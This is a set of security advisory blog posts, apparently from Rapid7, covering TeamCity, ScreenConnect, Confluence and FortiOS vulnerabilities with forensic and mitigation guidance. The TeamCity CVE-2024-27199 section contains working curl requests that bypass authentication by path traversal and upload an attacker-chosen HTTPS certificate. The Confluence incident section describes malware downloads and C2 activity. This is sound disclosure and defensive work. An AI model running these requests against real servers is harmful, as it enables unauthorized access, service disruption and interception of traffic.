The malicious plugin uploaded by the attacker may have artifacts left in the TeamCity Catalina folder, e.g. C:\TeamCity\work\Catalina\localhost\ROOT\TC_147512_WYyVNA6r\ on Windows or /opt/TeamCity/work/Catalina/localhost/ROOT/TC_147512_WYyVNA6r/ on Linux. The plugin name WYyVNA6r has formed part of the folder name TC_147512_WYyVNA6r. The number 147512 is the build number of the TeamCity server.

There may be plugin artifacts remaining in the webapps plugin folder, e.g. C:\TeamCity\webapps\ROOT\plugins\WYyVNA6r\ on Windows or /opt/TeamCity/webapps/ROOT/plugins/WYyVNA6r/ on Linux.

There may be artifacts remaining in the TeamCity data directory, for example C:\ProgramData\JetBrains\TeamCity\system\caches\plugins.unpacked\WYyVNA6r\ on Windows, or /home/teamcity/.BuildServer/system/caches/plugins.unpacked/WYyVNA6r/ on Linux.

A plugin must be disabled before it can be deleted. Disabling a plugin leaves a permanent entry in the disabled-plugins.xml configuration file (e.g. C:\ProgramData\JetBrains\TeamCity\config\disabled-plugins.xml on Windows):

<?xml version="1.0" encoding="UTF-8"?>
<disabled-plugins>

  <disabled-plugin name="WYyVNA6r" />

</disabled-plugins>

The attacker may choose the name of both the access token they create, and the malicious plugin they upload. The example above used the random string 2vrflIqo for the access token, and WYyVNA6r for the plugin. The attacker may have successfully deleted all artifacts from their malicious plugin.

The TeamCity administration console has an Audit page that will display activity that has occurred on the server. The deletion of an access token, and the uploading and deletion of a plugin will be captured in the audit log, for example:

This audit log is stored in the internal database data file buildserver.data (e.g. C:\ProgramData\JetBrains\TeamCity\system\buildserver.data on Windows or /home/teamcity/.BuildServer/system/buildserver.data on Linux).

Administrator Account Creation

To identify unexpected user accounts that may have been created, inspect the TeamCity administration console’s Audit page for newly created accounts.

Both the teamcity-server.log and the teamcity-activities.log may contain entries indicating a new user account has been created. The information logged is not enough to determine if the created user account is malicious or benign.

[2024-02-26 07:45:06,962]   INFO - tbrains.buildServer.ACTIVITIES - New user created: user with id=23
[2024-02-26 07:45:06,962]   INFO - s.buildServer.ACTIVITIES.AUDIT - user_create: User "user with id=23" was created by "user with id=23"

CVE-2024-27199

Overview

We have also identified a second authentication bypass vulnerability in the TeamCity web server. This authentication bypass allows for a limited number of authenticated endpoints to be reached without authentication. An unauthenticated attacker can leverage this vulnerability to both modify a limited number of system settings on the server, as well as disclose a limited amount of sensitive information from the server.

Analysis

Several paths have been identified that are vulnerable to a path traversal issue that allows a limited number of authenticated endpoints to be successfully reached by an unauthenticated attacker. These paths include, but may not be limited to:

• /res/
• /update/
• /.well-known/acme-challenge/

It was discovered that by leveraging the above paths, an attacker can use double dot path segments to traverse to an alternative endpoint, and no authentication checks will be enforced. We were able to successfully reach a limited number of JSP pages which leaked information, and several servlet endpoints that both leaked information and allowed for modification of system settings. These endpoints were:

• /app/availableRunners
• /app/https/settings/setPort
• /app/https/settings/certificateInfo
• /app/https/settings/defaultHttpsPort
• /app/https/settings/fetchFromAcme
• /app/https/settings/removeCertificate
• /app/https/settings/uploadCertificate
• /app/https/settings/termsOfService
• /app/https/settings/triggerAcmeChallenge
• /app/https/settings/cancelAcmeChallenge
• /app/https/settings/getAcmeOrder
• /app/https/settings/setRedirectStrategy
• /app/pipeline
• /app/oauth/space/createBuild.html

For example, an unauthenticated attacker should not be able to reach the /admin/diagnostic.jsp endpoint, as seen below:

C:\Users\sfewer>curl -ik --path-as-is http://172.29.228.65:8111/admin/diagnostic.jsp
HTTP/1.1 401
TeamCity-Node-Id: MAIN_SERVER
WWW-Authenticate: Basic realm="TeamCity"
WWW-Authenticate: Bearer realm="TeamCity"
Cache-Control: no-store
Content-Type: text/plain;charset=UTF-8
Transfer-Encoding: chunked
Date: Thu, 15 Feb 2024 13:00:40 GMT

Authentication required
To login manually go to "/login.html" page

However, by using the path /res/../admin/diagnostic.jsp, an unauthenticated attacker can successfully reach this endpoint, disclosing some information about the TeamCity installation. Note, the output below was edited for brevity.

C:\Users\sfewer>curl -ik --path-as-is http://172.29.228.65:8111/res/../admin/diagnostic.jsp
HTTP/1.1 200
TeamCity-Node-Id: MAIN_SERVER

...snip...

          <div>Java version: 17.0.7</div>
          <div>Java VM info: OpenJDK 64-Bit Server VM</div>
          <div>Java Home path: c:\TeamCity\jre</div>

            <div>Server: Apache Tomcat/9.0.83</div>

          <div>JVM arguments:
            <pre style="white-space: pre-wrap;">--add-opens=jdk.management/com.sun.management.internal=ALL-UNNAMED -XX:+IgnoreUnrecognizedVMOptions -XX:ReservedCodeCacheSize=640M --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED --add-opens=java.base/java.util=ALL-UNNAMED --add-opens=java.base/java.util.concurrent=ALL-UNNAMED --add-opens=java.rmi/sun.rmi.transport=ALL-UNNAMED -Djava.util.logging.config.file=c:\TeamCity\bin\..\conf\logging.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Djdk.tls.ephemeralDHKeySize=2048 -Djava.protocol.handler.pkgs=org.apache.catalina.webresources -agentlib:jdwp=transport=dt_socket,server=y,address=4444,suspend=n -Xmx1024m -Xrs -Dteamcity.configuration.path=../conf/teamcity-startup.properties -Dlog4j2.configurationFile=file:../conf/teamcity-server-log4j.xml -Dteamcity_logs=c:\TeamCity\bin\..\logs -Dignore.endorsed.dirs= -Dcatalina.base=c:\TeamCity\bin\.. -Dcatalina.home=c:\TeamCity\bin\.. -Djava.io.tmpdir=c:\TeamCity\bin\..\temp </pre>
          </div>

A request to the endpoint /.well-known/acme-challenge/../../admin/diagnostic.jsp or /update/../admin/diagnostic.jsp will also achieve the same results.

Another interesting endpoint to target is the /app/https/settings/uploadCertificate endpoint. This allows an unauthenticated attacker to upload a new HTTPS certificate of the attacker’s choosing to the target TeamCity server, as well as change the port number the HTTPS service listens on. For example, we can generate a self-signed certificate with the following commands:

C:\Users\sfewer\Desktop>openssl ecparam -name prime256v1 -genkey -noout -out private-eckey.pem

C:\Users\sfewer\Desktop>openssl ec -in private-eckey.pem -pubout -out public-key.pem
read EC key
writing EC key

C:\Users\sfewer\Desktop>openssl req -new -x509 -key private-eckey.pem -out cert.pem -days 360
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:US
State or Province Name (full name) [Some-State]:HaxorState
Locality Name (eg, city) []:HaxorCity
Organization Name (eg, company) [Internet Widgits Pty Ltd]:HaxorOrganization
Organizational Unit Name (eg, section) []:HaxorUnit
Common Name (e.g. server FQDN or YOUR name) []:target.server.com
Email Address []:

C:\Users\sfewer\Desktop>openssl pkcs8 -topk8 -nocrypt -in private-eckey.pem -out hax.key

An unauthenticated attacker can perform a POST request with a path of /res/../app/https/settings/uploadCertificate in order to upload a new HTTPS certificate.

C:\Users\Administrator\Desktop>curl -vk --path-as-is http://172.29.228.65:8111/res/../app/https/settings/uploadCertificate -X POST -H "Accept: application/json" -F certificate=@hax.pem -F key=@hax.key -F port=4141
Note: Unnecessary use of -X or --request, POST is already inferred.
*   Trying 172.29.228.65:8111...
* Connected to 172.29.228.65 (172.29.228.65) port 8111 (#0)
> POST /res/../app/https/settings/uploadCertificate HTTP/1.1
> Host: 172.29.228.65:8111
> User-Agent: curl/7.83.1
> Accept: application/json
> Content-Length: 1591
> Content-Type: multipart/form-data; boundary=------------------------cdb2a7dd5322fcf4
>
* We are completely uploaded and fine
* Mark bundle as not supporting multiuse
< HTTP/1.1 200
< X-Frame-Options: sameorigin
< Strict-Transport-Security: max-age=31536000;
< X-Content-Type-Options: nosniff
< X-XSS-Protection: 1; mode=block
< Referrer-Policy: origin-when-cross-origin
< mixed-content: noupgrade
< TeamCity-Node-Id: MAIN_SERVER
< Content-Type: application/json
< Content-Length: 0
< Date: Thu, 15 Feb 2024 14:06:02 GMT
<
* Connection #0 to host 172.29.228.65 left intact

If we log into the TeamCity server, we can verify the HTTPS certificate and port number have been modified.

An attacker could perform a denial of service against the TeamCity server by either changing the HTTPS port number to a value not expected by clients, or by uploading a certificate that will fail client side validation. Alternatively, an attacker with a suitable position on the network may be able to perform either eavesdropping or a man-in-the-middle attack on client connections, if the certificate the attacker uploads (and has a private key for) will be trusted by the clients.

Rapid7 customers

InsightVM and Nexpose customers can assess their exposure to CVE-2024-27198 and CVE-2024-27199 with authenticated vulnerability checks available in the March 4 content release.

InsightIDR and Managed Detection and Response customers have existing detection coverage through Rapid7's expansive library of detection rules. Rapid7 recommends installing the Insight Agent on all applicable hosts to ensure visibility into suspicious processes and proper detection coverage. Below is a non-exhaustive list of detections deployed and alerting on activity related to these vulnerabilities:

• Suspicious Web Request - JetBrains TeamCity CVE-2024-27198 Exploitation
• Suspicious Web Request - JetBrains TeamCity CVE-2024-27199 Exploitation

Rapid7 Labs has experimental Sigma rules available here.

Timeline

• February 15, 2024: Rapid7 makes initial contact with JetBrains via email.
• February 19, 2024: Rapid7 makes a second contact attempt to JetBrains via email. JetBrains acknowledges outreach.
• February 20, 2024: Rapid7 provides JetBrains with a technical analysis of the issues; JetBrains confirms they were able to reproduce the issues the same day.
• February 21, 2024: JetBrains reserves CVE-2024-27198 and CVE-2024-27199. JetBrains suggests releasing patches privately before a public disclosure of the issues. Rapid7 responds, emphasizing the importance of coordinated disclosure and our stance against silently patching vulnerabilities.
• February 22, 2024: JetBrains requests additional information on what Rapid7 considers to be silent patching.
• February 23, 2024: Rapid7 reiterates our disclosure policy, sends JetBrains our material on silent patching. Rapid7 requests additional information about the affected product version numbers and additional mitigation guidance.
• March 1, 2024: Rapid7 reiterates the previous request for additional information about affected product versions and vendor mitigation guidance.
• March 1, 2024: JetBrains confirms which CVEs will be assigned to the vulnerabilities. JetBrains says they are “still investigating the issue, its root cause, and the affected versions” and that they hope to have updates for Rapid7 “next week.”
• March 4, 2024: Rapid7 notes that JetBrains has published a blog announcing the release of TeamCity 2023.11.4. After looking at the release, Rapid7 confirms that JetBrains has patched the vulnerabilities. Rapid7 contacts JetBrains expressing concern that a patch was released without notifying or coordinating with our team, and without publishing advisories for the security issues. Note: In a private email on March 5, JetBrains requested that Rapid7 update the vulnerability disclosure timeline in this blog to reflect that security advisories were available soon after TeamCity 2023.11.4 was released. JetBrains told Rapid7 that they did not include security information in their initial release blog because they were already publishing a separate blog on the security issues. Notably, timelines are usually agreed upon and concerns addressed pre-publication as part of a coordinated vulnerability disclosure.
  March 4, 2024: Rapid7 reiterates our vulnerability disclosure policy, which stipulates: “If Rapid7 becomes aware that an update was made generally available after reporting the issue to the responsible organization, including silent patches which tend to hijack CVD norms, Rapid7 will aim to publish vulnerability details within 24 hours.” Rapid7 also asks whether JetBrains is planning on publishing an advisory with CVE information.
• March 4, 2024: JetBrains publishes a blog on the security issues (CVE-2024-27198 and CVE-2024-27199). JetBrains later responds indicating they have published an advisory with CVEs, and CVEs are also included in release notes. JetBrains does not respond to Rapid7 on the uncoordinated disclosure.
• March 4, 2024: This disclosure.

Updates

March 5, 2024: Updated with detection information for InsightIDR and Rapid7 MDR customers; information also added on availability of experimental Sigma rules.

March 5, 2023: JetBrains has published an additional blog post on their disclosure of these vulnerabilities; in the blog post they indicate that they intentionally kept Rapid7 out of the loop on disclosure.

March 5, 2024: In a private email on March 5, JetBrains requested that Rapid7 change the vulnerability disclosure timeline in this blog to reflect that security advisories were available soon after TeamCity 2023.11.4 was released. JetBrains told Rapid7 that they did not include security information in their initial release blog because they were already publishing a separate blog on the security issues. Notably, timelines are usually agreed upon and concerns addressed pre-publication as part of a coordinated vulnerability disclosure.

Note: When Rapid7 asked why the TeamCity release blog displayed a publication date of March 3, JetBrains indicated that their blog sets the publication date client-side in the browser via a date function, but when it converts the date, it always uses an hour of “3” UTC, or 3 AM UTC. According to their team, this is the reason the original TeamCity release blog looks like it was published on March 3 instead of March 4 when viewed by users in North America.

On February 19, 2024 ConnectWise disclosed two vulnerabilities in their ScreenConnect remote access software. Both vulnerabilities affect ScreenConnect 23.9.7 and earlier. Neither vulnerability had a CVE assigned at time of disclosure, but as of February 21, CVEs have been assigned to both issues mentioned in ConnectWise’s advisory:

• CVE-2024-1709: An authentication bypass using an alternate path or channel (CVSS 10)
• CVE-2024-1708: A path traversal issue (CVSS 8.4)

ScreenConnect is popular remote access software used by many organizations globally; it has also been abused by adversaries in the past. There appear to be some 7,500+ instances of ScreenConnect exposed to the public internet. The vulnerabilities were not known to be exploited in the wild when they were disclosed, but as of the evening of February 20, ConnectWise has indicated they have confirmed compromises arising from exploitation of these vulnerabilities. Rapid7 Managed Detection and Response (MDR) has also observed successful exploitation in customer environments.

Security news media and security vendors are raising strong alarms about the ScreenConnect vulnerabilities, largely because of the potential for attackers to exploit vulnerable ScreenConnect instances to then push ransomware to downstream clients. This may be a particular concern for managed service providers (MSPs) or managed security services providers (MSSPs) who use ScreenConnect to remotely manage client environments.

Mitigation guidance

All versions of ConnectWise ScreenConnect before 23.9.8 are vulnerable to these (CVE-less) issues. Customers who have on-premise ScreenConnect instances in their environments should apply the 23.9.8 update on an emergency basis, per ConnectWise’s guidance. The vendor has also published several indicators of compromise (IOCs) in their advisory that organizations can hunt for. Rapid7 strongly recommends looking for signs of compromise even after the patch has been applied.

ConnectWise have also removed licensing restrictions to allow partners to update to supported systems, and they have updated their advisory to note the following: "ConnectWise has rolled out an additional mitigation step for unpatched, on-premise users that suspends an instance if it is not on version 23.9.8 or later. If your instance is found to be on an outdated version, an alert will be sent with instructions on how to perform the necessary actions to release the server."

Rapid7 customers

InsightVM and Nexpose customers can assess their exposure to these vulnerabilities with authenticated vulnerability checks available in the February 21 content release.

InsightIDR and Managed Detection and Response customers have existing detection coverage through Rapid7's expansive library of detection rules. Rapid7 recommends installing the Insight Agent on all applicable hosts to ensure visibility into suspicious processes and proper detection coverage. Below is a non-exhaustive list of detections deployed and alerting on activity related to these vulnerabilities:

• Suspicious Web Requests - Possible ConnectWise ScreenConnect Exploitation
• Attacker Technique - Remote Access Via ScreenConnect
• Attacker Technique - Command Execution Via ScreenConnect
• Suspicious Process - ScreenConnect with RunRole Argument
• Attacker Technique - ConnectWise ScreenConnect Exploit Adding a New User

Note: In order for Rapid7 to alert on the rule Attacker Technique: ConnectWise ScreenConnect Exploit Adding a New User, customers will have to ensure that a host's Advanced Security Audit Policy Settings for Kernel Object is configured to log Windows EventID 4663 and have a SACL set on ScreenConnect's directory. More information on how to configure the Advanced Audit Policy is available here.

A Velociraptor artifact is available here to assist in hunting for indicators of compromise. A Metasploit module is available here (pending final merge and release).

Updates

February 21, 2024: Updated to include CVEs (CVE-2024-1708, CVE-2024-1709) and to note exploitation in the wild. Rapid7 MDR has also observed exploitation in customer environments. Updated with availability of vulnerability checks to InsightVM and Nexpose customers.

February 22, 2024: New detection rule added for InsightIDR and MDR customers (Attacker Technique: ConnectWise ScreenConnect Exploit Adding a New User)

February 23, 2024: Velociraptor artifact now available, Metasploit module in development. Changes to ConnectWise advisory guidance have been added to the Mitigation guidance section of this blog.

*Rapid7 Incident Response consultants Noah Hemker, Tyler Starks, and malware analyst Tom Elkins contributed analysis and insight to this blog.*

Rapid7 Incident Response was engaged to investigate an incident involving unauthorized access to two publicly-facing Confluence servers that were the source of multiple malware executions. Rapid7 identified evidence of exploitation for CVE-2023-22527 within available Confluence logs. During the investigation, Rapid7 identified cryptomining software and a Sliver Command and Control (C2) payload on in-scope servers. Sliver is a modular C2 framework that provides adversarial emulation capabilities for red teams; however, it’s also frequently abused by threat actors. The Sliver payload was used to action subsequent threat actor objectives within the environment. Without proper security tooling to monitor system network traffic and firewall communications, this activity would have progressed undetected leading to further compromise.

Rapid7 customers

Rapid7 consistently monitors emergent threats to identify areas for new detection opportunities. The recent appearance of Sliver C2 malware prompted Rapid7 teams to conduct a thorough analysis of the techniques being utilized and the potential risks. Rapid7 InsightIDR has an alert rule Suspicious Web Request - Possible Atlassian Confluence CVE-2023-22527 Exploitation available for all IDR customers to detect the usage of the text-inline.vm consistent with the exploitation of CVE-2023-22527. A vulnerability check is also available to InsightVM and Nexpose customers. A Velociraptor artifact to hunt for evidence of Confluence CVE-2023-22527 exploitation is available on the Velociraptor Artifact Exchange here. Read Rapid7’s blog on CVE-2023-22527.

Observed Attacker Behavior

Rapid7 IR began the investigation by triaging available forensic artifacts on the two affected publicly-facing Confluence servers. These servers were both running vulnerable Confluence software versions that were abused to obtain Remote Code Execution (RCE) capabilities. Rapid7 reviewed server access logs to identify the presence of suspicious POST requests consistent with known vulnerabilities, including CVE-2023-22527. This vulnerability is a critical OGNL injection vulnerability that abuses the text-inline.vm component of Confluence by sending a modified POST request to the server.

Evidence showed multiple instances of exploitation of this CVE, however, evidence of an embedded command would not be available within the standard header information logged within access logs. Packet Capture (PCAP) was not available to be reviewed to identify embedded commands, but the identified POST requests are consistent with the exploitation of the CVE.
The following are a few examples of the exploitation of the Confluence CVE found within access logs:

Evidence showed the execution of a curl command post-exploitation of the CVE resulting in the dropping of cryptomining malware to the system. The IP addresses associated with the malicious POST requests to the Confluence servers matched the IP addresses of the identified curl command. This indicates that the dropped cryptomining malware was directly tied to Confluence CVE exploitation.
As a result of the executed curl command, file w.sh was written to the /tmp/ directory on the system. This file is a bash script used to enumerate the operating system, download cryptomining installation files, and then execute the cryptomining binary. The bash script then executed the wget command to download javs.tar.gz from the IP address 38.6.173[.]11 over port 80. This file was identified to be the XMRigCC cryptomining malware which caused a spike in system resource utilization consistent with cryptomining activity. Service javasgs_miner.service was created on the system and set to run as root to ensure persistence.

The following is a snippet of code contained within w.sh defining communication parameters for the downloading and execution of the XMRigCC binary.

Rapid7 found additional log evidence within Catalina.log that references the download of the above file inside of an HTTP response header. This response registered as ‘invalid’ as it contained characters that could not be accurately interpreted. Evidence confirmed the successful download and execution of the XMRigCC miner, so the above Catalina log may prove useful for analysts to identify additional proof of attempted or successful exploitation.

Rapid7 then shifted focus to begin a review of system network connections on both servers. Evidence showed an active connection with known-abused IP address 193.29.13[.]179 communicating over port 8888 from both servers. netstat command output showed that the network connection’s source program was called X-org and was located within the system’s /tmp directory. According to firewall logs, the first identified communication from this server to the malicious IP address aligned with the timestamps of the identified X-org file creation. Rapid7 identified another malicious file residing on the secondary server named X0 Both files shared the same SHA256 hash, indicating that they are the same binary. The hash for these files has been provided below in the IOCs section.

A review of firewall logs provided a comprehensive view of the communications between affected systems and the malicious IP address. Firewall logs filtered on traffic between the compromised servers and the malicious IP address showed inbound and outbound data transfers consistent with known C2 behavior. Rapid7 decoded and debugged the Sliver payload to extract any available Indicators of Compromise (IOCs). Within the Sliver payload, Rapid7 confirmed the following IP address 193.29.13[.]179 would communicate over port 8888 using the mTLS authentication protocol.

After Sliver first communicated with the established C2, it checked the username associated with the current session on the local system, read etc/passwd and etc/machine-id and then communicated back with the C2 again. The contents of passwd and machine-id provide system information such as the hostname and any account on the system. Cached credentials from the system were discovered to be associated with outbound C2 traffic further supporting this credential access. This activity is consistent with the standard capabilities available within the GitHub release of Sliver hosted here.

The Sliver C2 connection was later used to execute wget commands used to download Kerbrute, Traitor, and Fscan to the servers. Kerbute was executed from dev/shm and is commonly used to brute-force and enumerate valid Active Directory accounts through Kerberos pre-authentications. The Traitor binary was executed from the var/tmp directory which contains the functionality to leverage Pwnkit and Dirty Pipe as seen within evidence on the system. Fscan was executed from the var/tmp directory with the file name f and performed scanning to enumerate systems present within the environment. Rapid7 performed containment actions to deny any further threat actor activity. No additional post-exploitation objectives were identified within the environment.

Mitigation guidance

To mitigate the attacker behavior outlined in this blog, the following mitigation techniques should be considered:

• Ensure that unnecessary ports and services are disabled on publicly-facing servers.

• All publicly-facing servers should regularly be patched and remain up-to-date with the most recent software releases.

• Environment firewall logs should be aggregated into a centralized security solution to allow for the detection of abnormal network communications.

• Firewall rules should be implemented to deny inbound and outbound traffic from unapproved geolocations.

• Publicly-facing servers hosting web applications should implement a restricted shell, where possible, to limit the capabilities and scope of commands available when compared to a standard bash shell.

MITRE ATT&CK Techniques

Indicators of Compromise

On February 8, 2024 Fortinet disclosed multiple critical vulnerabilities affecting FortiOS, the operating system that runs on Fortigate SSL VPNs. The critical vulnerabilities include CVE-2024-21762, an out-of-bounds write vulnerability in SSLVPNd that could allow remote unauthenticated attackers to execute arbitrary code or commands on Fortinet SSL VPNs via specially crafted HTTP requests.

According to Fortinet’s advisory for CVE-2024-21762, the vulnerability is “potentially being exploited in the wild.” The U.S. Cybersecurity and Infrastructure Security Agency (CISA) added CVE-2024-21762 to their Known Exploited Vulnerabilities (KEV) list as of February 9, 2024, confirming that exploitation has occurred.

Zero-day vulnerabilities in Fortinet SSL VPNs have a history of being targeted by state-sponsored and other highly motivated threat actors. Other recent Fortinet SSL VPN vulnerabilities (e.g., CVE-2022-42475, CVE-2022-41328, and CVE-2023-27997) have been exploited by adversaries as both zero-day and as n-day following public disclosure.

Affected products

FortiOS versions vulnerable to CVE-2024-21762 include:

• FortiOS 7.4.0 through 7.4.2

• FortiOS 7.2.0 through 7.2.6

• FortiOS 7.0.0 through 7.0.13

• FortiOS 6.4.0 through 6.4.14

• FortiOS 6.2.0 through 6.2.15

• FortiOS 6.0 all versions

• FortiProxy 7.4.0 through 7.4.2

• FortiProxy 7.2.0 through 7.2.8

• FortiProxy 7.0.0 through 7.0.14

• FortiProxy 2.0.0 through 2.0.13

• FortiProxy 1.2 all versions

• FortiProxy 1.1 all versions

• FortiProxy 1.0 all versions

Note: Fortinet’s advisory did not originally list FortiProxy as being vulnerable to this issue, but the bulletin was updated after publication to add affected FortiProxy versions.

Mitigation guidance

According to the Fortinet advisory, the following fixed versions remediate CVE-2024-21762:

• FortiOS 7.4.3 or above

• FortiOS 7.2.7 or above

• FortiOS 7.0.14 or above

• FortiOS 6.4.15 or above

• FortiOS 6.2.16 or above

• FortiOS 6.0 customers should migrate to a fixed release

• FortiProxy 7.4.3 or above

• FortiProxy 7.2.9 or above

• FortiProxy 7.0.15 or above

• FortiProxy 2.0.14 or above

• FortiProxy 1.2, 1.1, and 1.0 customers should migrate to a fixed release

As a workaround, the advisory instructs customers to disable the SSL VPN with the added context that disabling the webmode is not a valid workaround. For more information and the latest updates, please refer to Fortinet’s advisory.

Rapid7 customers

InsightVM and Nexpose customers can assess their exposure to FortiOS CVE-2024-21762 with a vulnerability check available in the Friday, February 9 content release.